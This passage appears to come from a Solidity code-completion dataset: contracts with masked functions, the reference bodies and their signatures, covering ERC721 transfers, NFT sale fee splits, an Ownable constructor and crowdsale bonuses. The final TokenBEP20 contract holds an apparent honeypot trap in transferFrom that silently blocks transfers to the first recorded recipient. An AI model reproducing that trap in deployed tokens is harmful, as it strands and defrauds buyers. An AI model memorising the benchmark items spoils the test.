0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _addTokenTo(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal {<FILL_FUNCTION_BODY> } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }
contract NoMintERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _addTokenTo(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } <FILL_FUNCTION> /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId);
function _transferFrom(address from, address to, uint256 tokenId) internal
/** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal
71779
AbstractSale
transferEther
contract AbstractSale is Ownable{ using UintLibrary for uint256; using AddressLibrary for address; using StringLibrary for string; using SafeMath for uint256; // HasSecondarySaleFees's interfaceId = 0xb7799584; bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584; uint256 public buyerFee = 0; address payable public beneficiary; // An ECDSA signature struct Sig { uint8 v; bytes32 r; bytes32 s; } constructor(address payable _beneficiary) public { beneficiary = _beneficiary; } function setBuyerFee(uint256 _buyerFee) public onlyOwner { buyerFee = _buyerFee; } function setBeneficiary(address payable _beneficiary) public onlyOwner { beneficiary = _beneficiary; } function prepareMessage(address token,uint256 tokenId,uint256 price,uint256 fee,uint256 nonce) internal pure returns (string memory){ string memory result = string( strConcat(bytes(token.toString()),bytes(". tokenId: "),bytes(tokenId.toString()),bytes(". price: "),bytes(price.toString()),bytes(". nonce: "),bytes(nonce.toString())) ); if (fee != 0){ return result.append(". fee: ",fee.toString()); } else { return result; } } function prepareBidMessage( address token, //代币合约的地址 uint256 tokenId, uint256 fee, uint256 nonce ) internal pure returns (string memory) { string memory result = string( strBidConcat( bytes(token.toString()), bytes(". tokenId: "), bytes(tokenId.toString()), bytes(". nonce: "), bytes(nonce.toString()) ) ); if (fee != 0) { return result.append(". fee: ", fee.toString()); } else { return result; } } function strConcat(bytes memory _ba,bytes memory _bb,bytes memory _bc,bytes memory _bd,bytes memory _be,bytes memory _bf,bytes memory _bg) internal pure returns (bytes memory){ bytes memory resultBytes = new bytes(_ba.length + _bb.length + _bc.length + _bd.length + _be.length + _bf.length + _bg.length); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i ++) resultBytes[k ++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i ++) resultBytes[k ++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i ++) resultBytes[k ++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i ++) resultBytes[k ++] = _bd[i]; for (uint256 i = 0; i < _be.length; i ++) resultBytes[k ++] = _be[i]; for (uint256 i = 0; i < _bf.length; i ++) resultBytes[k ++] = _bf[i]; for (uint256 i = 0; i < _bg.length; i ++) resultBytes[k ++] = _bg[i]; return resultBytes; } function strBidConcat(bytes memory _ba,bytes memory _bb,bytes memory _bc,bytes memory _bd,bytes memory _be) internal pure returns (bytes memory){ bytes memory resultBytes = new bytes(_ba.length + _bb.length + _bc.length + _bd.length + _be.length ); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i ++) resultBytes[k ++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i ++) resultBytes[k ++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i ++) resultBytes[k ++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i ++) resultBytes[k ++] = _bd[i]; for (uint256 i = 0; i < _be.length; i ++) resultBytes[k ++] = _be[i]; return resultBytes; } function transferEther(IERC165 token,uint256 tokenId,address payable owner,uint256 total,uint256 sellerFee) internal {<FILL_FUNCTION_BODY> } function transferFeeToBeneficiary(uint256 total, uint256 sellerFee) internal returns (uint256) { (uint256 value,uint256 sellerFeeValue) = subFee(total,total.mul(sellerFee).div(10000)); uint256 buyerFeeValue = total.mul(buyerFee).div(10000); uint256 beneficiaryFee = buyerFeeValue.add(sellerFeeValue); if (beneficiaryFee > 0) { beneficiary.transfer(beneficiaryFee); } return value; } function subFee(uint256 value,uint256 fee) internal pure returns (uint256 newValue,uint256 realFee) { if (value > fee) { newValue = value - fee; realFee = fee; } else { newValue = 0; realFee = value; } } }
contract AbstractSale is Ownable{ using UintLibrary for uint256; using AddressLibrary for address; using StringLibrary for string; using SafeMath for uint256; // HasSecondarySaleFees's interfaceId = 0xb7799584; bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584; uint256 public buyerFee = 0; address payable public beneficiary; // An ECDSA signature struct Sig { uint8 v; bytes32 r; bytes32 s; } constructor(address payable _beneficiary) public { beneficiary = _beneficiary; } function setBuyerFee(uint256 _buyerFee) public onlyOwner { buyerFee = _buyerFee; } function setBeneficiary(address payable _beneficiary) public onlyOwner { beneficiary = _beneficiary; } function prepareMessage(address token,uint256 tokenId,uint256 price,uint256 fee,uint256 nonce) internal pure returns (string memory){ string memory result = string( strConcat(bytes(token.toString()),bytes(". tokenId: "),bytes(tokenId.toString()),bytes(". price: "),bytes(price.toString()),bytes(". nonce: "),bytes(nonce.toString())) ); if (fee != 0){ return result.append(". fee: ",fee.toString()); } else { return result; } } function prepareBidMessage( address token, //代币合约的地址 uint256 tokenId, uint256 fee, uint256 nonce ) internal pure returns (string memory) { string memory result = string( strBidConcat( bytes(token.toString()), bytes(". tokenId: "), bytes(tokenId.toString()), bytes(". nonce: "), bytes(nonce.toString()) ) ); if (fee != 0) { return result.append(". fee: ", fee.toString()); } else { return result; } } function strConcat(bytes memory _ba,bytes memory _bb,bytes memory _bc,bytes memory _bd,bytes memory _be,bytes memory _bf,bytes memory _bg) internal pure returns (bytes memory){ bytes memory resultBytes = new bytes(_ba.length + _bb.length + _bc.length + _bd.length + _be.length + _bf.length + _bg.length); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i ++) resultBytes[k ++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i ++) resultBytes[k ++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i ++) resultBytes[k ++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i ++) resultBytes[k ++] = _bd[i]; for (uint256 i = 0; i < _be.length; i ++) resultBytes[k ++] = _be[i]; for (uint256 i = 0; i < _bf.length; i ++) resultBytes[k ++] = _bf[i]; for (uint256 i = 0; i < _bg.length; i ++) resultBytes[k ++] = _bg[i]; return resultBytes; } function strBidConcat(bytes memory _ba,bytes memory _bb,bytes memory _bc,bytes memory _bd,bytes memory _be) internal pure returns (bytes memory){ bytes memory resultBytes = new bytes(_ba.length + _bb.length + _bc.length + _bd.length + _be.length ); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i ++) resultBytes[k ++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i ++) resultBytes[k ++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i ++) resultBytes[k ++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i ++) resultBytes[k ++] = _bd[i]; for (uint256 i = 0; i < _be.length; i ++) resultBytes[k ++] = _be[i]; return resultBytes; } <FILL_FUNCTION> function transferFeeToBeneficiary(uint256 total, uint256 sellerFee) internal returns (uint256) { (uint256 value,uint256 sellerFeeValue) = subFee(total,total.mul(sellerFee).div(10000)); uint256 buyerFeeValue = total.mul(buyerFee).div(10000); uint256 beneficiaryFee = buyerFeeValue.add(sellerFeeValue); if (beneficiaryFee > 0) { beneficiary.transfer(beneficiaryFee); } return value; } function subFee(uint256 value,uint256 fee) internal pure returns (uint256 newValue,uint256 realFee) { if (value > fee) { newValue = value - fee; realFee = fee; } else { newValue = 0; realFee = value; } } }
// The remaining amount after deducting the handling fee uint256 value = transferFeeToBeneficiary(total,sellerFee); // if nft contaact support HasSecondarySaleFees if (token.supportsInterface(_INTERFACE_ID_FEES)){ HasSecondarySaleFees withFees = HasSecondarySaleFees(address(token)); address payable[] memory recipients = withFees.getFeeRecipients(tokenId); uint256[] memory fees = withFees.getFeeBps(tokenId); require(fees.length == recipients.length); for(uint256 i = 0; i < fees.length; i ++) { (uint256 newValue,uint256 current) = subFee(value,total.mul(fees[i]).div(10000)); value = newValue; recipients[i].transfer(current); } } owner.transfer(value);
function transferEther(IERC165 token,uint256 tokenId,address payable owner,uint256 total,uint256 sellerFee) internal
function transferEther(IERC165 token,uint256 tokenId,address payable owner,uint256 total,uint256 sellerFee) internal
69241
Ownable
Ownable
contract Ownable { address public owner; address public ownerManualMinter; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner || msg.sender == ownerManualMinter); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * This shall be invoked with the ICO crowd sale smart contract address once it´s ready * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev After the manual minting process ends, this shall be invoked passing the ICO crowd sale contract address so that * nobody else will be ever able to mint more tokens * @param newOwner The address to transfer ownership to. */ function transferOwnershipManualMinter(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); ownerManualMinter = newOwner; } }
contract Ownable { address public owner; address public ownerManualMinter; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner || msg.sender == ownerManualMinter); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * This shall be invoked with the ICO crowd sale smart contract address once it´s ready * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev After the manual minting process ends, this shall be invoked passing the ICO crowd sale contract address so that * nobody else will be ever able to mint more tokens * @param newOwner The address to transfer ownership to. */ function transferOwnershipManualMinter(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); ownerManualMinter = newOwner; } }
/** * ownerManualMinter contains the eth address of the party allowed to manually mint outside the crowdsale contract * this is setup at construction time */ ownerManualMinter = 0xd97c302e9b5ee38ab900d3a07164c2ad43ffc044 ; // To be changed right after contract is deployed owner = msg.sender;
function Ownable()
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable()
8909
BonusableCrowdsale
getBonusRate
contract BonusableCrowdsale is Consts, Crowdsale { function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 bonusRate = getBonusRate(weiAmount); uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function getBonusRate(uint256 weiAmount) internal view returns (uint256) {<FILL_FUNCTION_BODY> } }
contract BonusableCrowdsale is Consts, Crowdsale { function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 bonusRate = getBonusRate(weiAmount); uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } <FILL_FUNCTION> }
uint256 bonusRate = rate; // apply bonus for time & weiRaised uint[5] memory weiRaisedStartsBoundaries = [uint(0),uint(21000000000000000000000),uint(42000000000000000000000),uint(63000000000000000000000),uint(84000000000000000000000)]; uint[5] memory weiRaisedEndsBoundaries = [uint(21000000000000000000000),uint(42000000000000000000000),uint(63000000000000000000000),uint(84000000000000000000000),uint(105000000000000000000000)]; uint64[5] memory timeStartsBoundaries = [uint64(1526313641),uint64(1526313641),uint64(1526313641),uint64(1526313641),uint64(1526313641)]; uint64[5] memory timeEndsBoundaries = [uint64(1559318395),uint64(1559318395),uint64(1559318395),uint64(1559318395),uint64(1559318395)]; uint[5] memory weiRaisedAndTimeRates = [uint(1660),uint(1000),uint(600),uint(330),uint(150)]; for (uint i = 0; i < 5; i++) { bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]); bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } return bonusRate;
function getBonusRate(uint256 weiAmount) internal view returns (uint256)
function getBonusRate(uint256 weiAmount) internal view returns (uint256)
90152
TokenBEP20
transfer
contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " $Cato"; name = "catologytoken.com"; decimals = 8; _totalSupply = 1000000 * 10**9 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } }
